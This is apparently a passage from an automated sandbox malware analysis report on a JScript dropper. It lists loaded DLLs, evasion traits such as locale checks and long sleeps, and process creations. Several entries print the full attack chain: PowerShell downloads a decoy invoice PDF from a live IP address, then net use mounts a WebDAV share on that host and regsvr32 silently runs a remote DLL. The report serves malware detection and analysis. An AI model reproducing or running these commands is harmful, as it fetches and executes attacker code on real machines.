Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6282.js.csv");ITextStream.WriteLine(" entry:8563 f:bjulgb");ITextStream.WriteLine(" exec:2 f:bjulgb");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4645			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5226			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2336	Thread sleep count: 4645 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1696	Thread sleep count: 5226 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3104	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2484	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5812	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5848	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: svchost.exe, 00000008.00000002.3017250657.000001D78722B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: net.exe, 00000006.00000002.1791539275.000002105E9E7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1790570218.000002105E9E7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1791228120.000002105E980000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3018153929.000001D78C85B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
